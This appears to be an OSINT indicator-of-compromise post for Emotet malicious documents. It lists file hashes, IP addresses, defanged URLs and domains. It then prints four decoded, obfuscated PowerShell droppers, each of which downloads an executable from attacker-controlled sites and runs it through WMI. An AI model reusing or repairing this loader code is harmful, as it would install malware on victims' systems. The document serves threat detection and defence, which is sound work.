Emotet_Doc_out_2020-10-29_14_06.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
6c9191798758c5d2cb92a9f60c5d221a0e2d737aa467dfacb65c2a86c5781586
95a3afdc20d25ba6e1894e4a45213ed2484eb9d47a0d997c0bab17e6c0307474
95a3afdc20d25ba6e1894e4a45213ed2484eb9d47a0d997c0bab17e6c0307474
697d945ff47046f421017a4ececab19494f8ec8b9d59abc54fd159fdaf1bfcaf
697d945ff47046f421017a4ececab19494f8ec8b9d59abc54fd159fdaf1bfcaf
0d72680f8031149a17316677a0247a82b13666f06e2508f5350bae8be8b8f85e
9dd6908210c962905a5deb44018484a4a572ecbffd1cc084024a5bc8e1a77b19
9a82999019fd20e3e31fabe6fd23e85218b9c833d75b08c3ab428710b9de9ff3
9a82999019fd20e3e31fabe6fd23e85218b9c833d75b08c3ab428710b9de9ff3
f3aa65d82d6a35c8bb856c6ce596856ed4cd292db393355937217b65c8b28ec7
448eabf56cc654711f7a3a6005be397a5aeda5ba6f329742da01cf7d31712931
96357920882bf90a3ffe1e87ea63ef9f2dac43a1f01c5ac5d3c390103e9a8bb5
56b4b239b93d5528e7f80a5bddef47bcbe22a9318d3abf88be53dbb4aedd66ce
56b4b239b93d5528e7f80a5bddef47bcbe22a9318d3abf88be53dbb4aedd66ce
e805aba1645cd9062f3616474fe439626cd8d4aca4eea889c9271dd1508d51dd
e805aba1645cd9062f3616474fe439626cd8d4aca4eea889c9271dd1508d51dd
41ad376a9521ae341bd5a60e9084150f0745b92fb26a5b44001e11579d180316
41ad376a9521ae341bd5a60e9084150f0745b92fb26a5b44001e11579d180316
46e6c0f62d299a4510ce400f90d5f8e2280b0ffa5e465ce7433624327bc07c0b
46e6c0f62d299a4510ce400f90d5f8e2280b0ffa5e465ce7433624327bc07c0b


IPs:
103.129.97.141
103.129.97.81
104.18.48.237
104.18.49.237
104.27.152.75
104.27.155.186
104.27.160.57
104.27.161.57
104.31.89.220
112.78.1.97
119.18.54.126
138.197.1.150
148.72.196.10
160.153.137.210
160.153.138.219
172.104.218.74
172.67.140.232
172.67.154.30
172.67.163.181
172.67.177.120
172.67.207.172
178.128.116.205
18.141.51.146
182.93.78.13
187.45.193.174
192.130.146.156
208.113.172.122
45.84.191.215
50.62.56.243
51.158.123.247
51.38.224.182
5.39.64.201
69.46.26.202
80.66.63.98
81.68.185.94
8.210.173.81
92.61.46.229



URLs:
hxxps://ayur-herbal.com/wp-content/HIw/
hxxps://enyaxsi.com/setupconfigo/S/
hxxps://cacomixtle.net/wp-admin/R5P/
hxxps://filmfest.jewishfilm.org/wp-content/ZF/
hxxps://demo.giaoduckidsup.com/wp-includes/P/
hxxps://aabeds.com/wordpress/O/
hxxps://crechereviver.org/siteunavailable/j/
hxxps://eclatcollection.com/kohler-14resa/YpUuby/
hxxps://ismlm.xyz/wp-admin/P/
hxxps://www.corsiwebonline.it/wp-content/yQqe7/
hxxps://conclassdigital.com/wp-content/thTgRn/
hxxps://jtech.com.vn/wp-includes/IhSNuI/
hxxps://hijoaajakakhabar.com/cgi-bin/cHoz/
hxxps://magicwandcompany.net/wp-includes/bRVTJyc/
hxxps://www.saladrepublic.in/cgi-bin/WmRD/
hxxps://www.saintmarcel.com/wp-includes/VKbL2/
hxxps://gayatrienterprise.org/wp-admin/DPBsj/
hxxps://weparditestaa.fi/wp-admin/72uPk/
hxxps://blog.6b47.com/Assets/w5U/
hxxps://www.easeiseasy.com/wp-admin/q/
hxxps://ursuperstar.com/wp-admin/AAxKlbV/
hxxps://kramedas.lt/wp-admin/E9Gciyc/
hxxps://critical-thinking.fr/wp-includes/vHQWren/
hxxps://getpranaveda.xyz/wp-admin/yz/
hxxp://xinhecun.cn/wp-content/VCNbWWDK/
hxxps://www.apeduti.com.br/wp-includes/XN2wg26v/
hxxp://heankan.bio/js/Rb/
hxxps://sheen-vietnam.vn/wp-content/qtg2J6XhZ/
hxxps://madrushdigital.com/wp-admin/PJi/
hxxps://lunabituyelik.com/wp-content/fWd0/


Domains:
ayur-herbal.com
enyaxsi.com
cacomixtle.net
filmfest.jewishfilm.org
demo.giaoduckidsup.com
aabeds.com
crechereviver.org
eclatcollection.com
ismlm.xyz
www.corsiwebonline.it
conclassdigital.com
jtech.com.vn
hijoaajakakhabar.com
magicwandcompany.net
www.saladrepublic.in
www.saintmarcel.com
gayatrienterprise.org
weparditestaa.fi
blog.6b47.com
www.easeiseasy.com
ursuperstar.com
kramedas.lt
critical-thinking.fr
getpranaveda.xyz
xinhecun.cn
www.apeduti.com.br
heankan.bio
sheen-vietnam.vn
madrushdigital.com
lunabituyelik.com


Decoded Base64 Powershell:
<���^, sEt-ITEM VARiaBLe:k3wan    [tYpe]"{1}{2}{4}{3}{0}{5}" -f Ctor,SySt,EM.,o.DiRe,i,Y   ;
   $gM0wl= [tYpe]"{0}{4}{3}{1}{7}{6}{5}{2}"-FSySTEm,t.,AGer,nE,.,NtMAn,ERVIcEpOi,S;
$Liuivzd=Nqx1ldj;
$Deb8ncy=$Jxsynmd  [char]64  $C0n5zmz;
$H_qespm=Fnty3gn;
 $K3wAN::"cRE`AT`e`dIrEctoRY"$HOME  gmCDm4cdp7gmCVgzxlc6gmC-CrEplaCe[ChAR]103[ChAR]109[ChAR]67,[ChAR]92;
$Y2jzugz=Dmewmk2;
 geT-VARIabLe "gM0""wl"  .ValUE::"s`e`c`URiTyprO`ToCoL" = Tls12;
$Tupmxer=Icq_5qp;
$Abty_gp = Pw70casel;
$Zfl1e0x=Xi2ad5k;
$Js2zkz9=A1o4e1c;
$Vsq36na=$HOME{0}Dm4cdp7{0}Vgzxlc6{0}-f  [Char]92$Abty_gp.exe;
$Alelxv0=Jsthgvt;
$Cbqwutg=.new-object net.WEBcLIENT;
$A641y62=hxxps://ayur-herbal.com/wp-content/HIw/
hxxps://enyaxsi.com/setupconfigo/S/
hxxps://cacomixtle.net/wp-admin/R5P/
hxxps://filmfest.jewishfilm.org/wp-content/ZF/
hxxps://demo.giaoduckidsup.com/wp-includes/P/
hxxps://aabeds.com/wordpress/O/
hxxps://crechereviver.org/siteunavailable/j/."rep`lace"/,[array]/,xwe[0]."S`Plit"$R3x_owc  $Deb8ncy  $Fd1ou5h;
$Eq_410y=Oim4f1a;
foreach $F6pgih8 in $A641y62{try{$Cbqwutg."dOw`N`LOad`FiLe"$F6pgih8, $Vsq36na;
$Emencc9=G4du7u9;
If .Get-Item $Vsq36na."l`en`GtH" -ge 40490 {[wmiclass]win32_Process."CRE`ATE"$Vsq36na;
$Ib2w2n1=Wqfkjgs;
break;
$Hii16ec=Ou86e8a}}catch{}}$Vt4zk5q=Kjhx3f_<���^, sET  5M9   [tYPe]"{2}{4}{1}{0}{3}"-f Ect,r,syStEM.iO,oRY,.di  ;
  sEt-ITeM VariabLE:U74   [TYPe]"{0}{1}{3}{6}{4}{2}{7}{5}" -fS,Ystem.neT.s,tm,E,iN,R,rvIcePO,aNAGe ;
  $Vinp3ey=Ne9p4cw;
$Xon0em9=$Jf89vi4  [char]64  $Ndbcyu1;
$Kpe80tm=B0xmk1p;
   geT-VaRiaBLe 5m9  .VaLue::"CRe`ATEdiREcto`RY"$HOME  {0}W2hgqie{0}Uoqdlh_{0} -f  [CHar]92;
$U01flbo=Lv8zcwv;
 GI vAriabLe:u74.VaLue::"S`ec`URiTyPRO`TocoL" = Tls12;
$Kjao91t=Uf6xwrs;
$Vlk3y4o = Rlk15uona;
$Mowyyrn=Yb1b4cp;
$Jfg2a0c=A2l7g66;
$Jge65ga=$HOMEwTpW2hgqiewTpUoqdlh_wTp  -CREPlaCE wTp,[chaR]92$Vlk3y4o.exe;
$Jpififs=H0trdxt;
$F56vmvc=.new-object nET.WEbclIeNT;
$K5fkpv0=hxxps://eclatcollection.com/kohler-14resa/YpUuby/
hxxps://ismlm.xyz/wp-admin/P/
hxxps://www.corsiwebonline.it/wp-content/yQqe7/
hxxps://conclassdigital.com/wp-content/thTgRn/
hxxps://jtech.com.vn/wp-includes/IhSNuI/
hxxps://hijoaajakakhabar.com/cgi-bin/cHoz/
hxxps://magicwandcompany.net/wp-includes/bRVTJyc/
hxxps://www.saladrepublic.in/cgi-bin/WmRD/."r`EP`lACe"/,[array]/,xwe[0]."spL`It"$H0hjgkt  $Xon0em9  $Hsx8frr;
$Eczo5kx=Q4rcqwb;
foreach $Tisobd0 in $K5fkpv0{try{$F56vmvc."DoWNLoA`Df`I`le"$Tisobd0, $Jge65ga;
$Fdwixwr=X162tvj;
If &Get-Item $Jge65ga."L`eNGTh" -ge 46368 {[wmiclass]win32_Process."Cr`Eate"$Jge65ga;
$Kla0foa=Awo4rc1;
break;
$Fzb6jru=Psdp7zc}}catch{}}$Qvakaqc=P8xadkp<���^,Set-ITEM  vArIABle:PVJU    [tYPE]"{3}{0}{1}{2}" -f EM.,io.Dire,cTorY,SysT ;
  $DTNmr=  [TyPe]"{0}{3}{4}{2}{1}{5}" -FsysteM.nEt.SeRvIce,an,Tm,p,oIn,aGeR ;
 $Vw61vpu=B2hw92x;
$Ej2p152=$A3as7qa  [char]64  $Rd9lvxo;
$Ouvd_am=We1_33p;
  gI  VaRIabLe:pvju .VAlue::"C`REAted`Ir`ECtORy"$HOME  7oPQq5410o7oPYqrtht17oP  -CrEPLAce[CHAR]55[CHAR]111[CHAR]80,[CHAR]92;
$U5sqthk=Pecsrje;
   Get-VarIabLe DtnMR.vALUE::"seCur`IT`yPROtoCOl" = Tls12;
$Ivcnfuz=L3x32a0;
$M3zy91j = R1s2f0emk;
$M6963xa=Qg1bdjf;
$Z2vtxvg=V22nknr;
$Tjmo7yf=$HOMERleQq5410oRleYqrtht1Rle."REP`L`ACe"Rle,[STrIng][Char]92$M3zy91j.exe;
$C8c6dwa=Tqn3gxx;
$X02vbcn=.new-object NEt.weBCLiENT;
$Ad40l8h=hxxps://www.saintmarcel.com/wp-includes/VKbL2/
hxxps://gayatrienterprise.org/wp-admin/DPBsj/
hxxps://weparditestaa.fi/wp-admin/72uPk/
hxxps://blog.6b47.com/Assets/w5U/
hxxps://www.easeiseasy.com/wp-admin/q/
hxxps://ursuperstar.com/wp-admin/AAxKlbV/
hxxps://kramedas.lt/wp-admin/E9Gciyc/
hxxps://critical-thinking.fr/wp-includes/vHQWren/."RE`PLA`Ce"/,[array]/,xwe[0]."S`plIt"$Py0n33v  $Ej2p152  $R2ba7xa;
$S_9ghln=Tv2hhoa;
foreach $Xcnu3al in $Ad40l8h{try{$X02vbcn."DOwnLOaD`F`ile"$Xcnu3al, $Tjmo7yf;
$Cs2xoe0=Iffnu_d;
If .Get-Item $Tjmo7yf."L`enG`Th" -ge 32443 {[wmiclass]win32_Process."cRea`TE"$Tjmo7yf;
$Ccgzrbl=Owgao1k;
break;
$V9o7o7w=P6cfa53}}catch{}}$Q3el6sx=Lm5s3m9<���^,Set-ITEm  vARIABle:E38Z6    [TYpe]"{3}{0}{4}{5}{1}{2}" -f tEM,ir,ECtoRy,SyS,.io,.D ;
seT-vAriaBLE  FEB8W   [TyPe]"{2}{5}{0}{6}{3}{1}{4}" -fEM.,EPoI,S,.sErVIc,NTmanAgEr,YST,net  ;
$Xkh5mod=Sypzxwr;
$U84tt7c=$Umkhros  [char]64  $Eu_a3r9;
$Ilxiyjc=E3inlku;
 $E38z6::"c`Re`AT`E`DIREctOry"$HOME  h9LDku9b1_h9LAapn1vvh9L-REpLaCE[chAr]104[chAr]57[chAr]76,[chAr]92;
$Ogwoloa=Uyx4od_;
  Gci  VArIAbLE:fEB8W .vaLUE::"se`cuR`it`YPrOTOCOL" = Tls12;
$Thml_ju=Gsazgei;
$C52pram = Avqv7t89l;
$Lawkoc4=Qd0iplw;
$D4nllyp=U4ypnil;
$Yulhvpf=$HOMEgU8Dku9b1_gU8Aapn1vvgU8."rEP`LA`CE"gU8,[sTRING][ChAR]92$C52pram.exe;
$A65u8_e=Xhsf94g;
$Nuprrm8=.new-object NET.weBcliENt;
$Pgathra=hxxps://getpranaveda.xyz/wp-admin/yz/
hxxp://xinhecun.cn/wp-content/VCNbWWDK/
hxxps://www.apeduti.com.br/wp-includes/XN2wg26v/
hxxp://heankan.bio/js/Rb/
hxxps://sheen-vietnam.vn/wp-content/qtg2J6XhZ/
hxxps://madrushdigital.com/wp-admin/PJi/
hxxps://lunabituyelik.com/wp-content/fWd0/."rEpL`ACE"/,[array]/,xwe[0]."sP`LiT"$Z4ndv_5  $U84tt7c  $O7svpnw;
$Uuhuscf=Rqodfk4;
foreach $Mi5q_do in $Pgathra{try{$Nuprrm8."Do`wn`L`OADfILe"$Mi5q_do, $Yulhvpf;
$Qtqu6h5=Ac_brts;
If .Get-Item $Yulhvpf."lE`NGth" -ge 40683 {[wmiclass]win32_Process."CREa`Te"$Yulhvpf;
$Cmovwy8=Fpew1wk;
break;
$N089cuv=Ftqcezf}}catch{}}$Wtb9opa=N9x41pl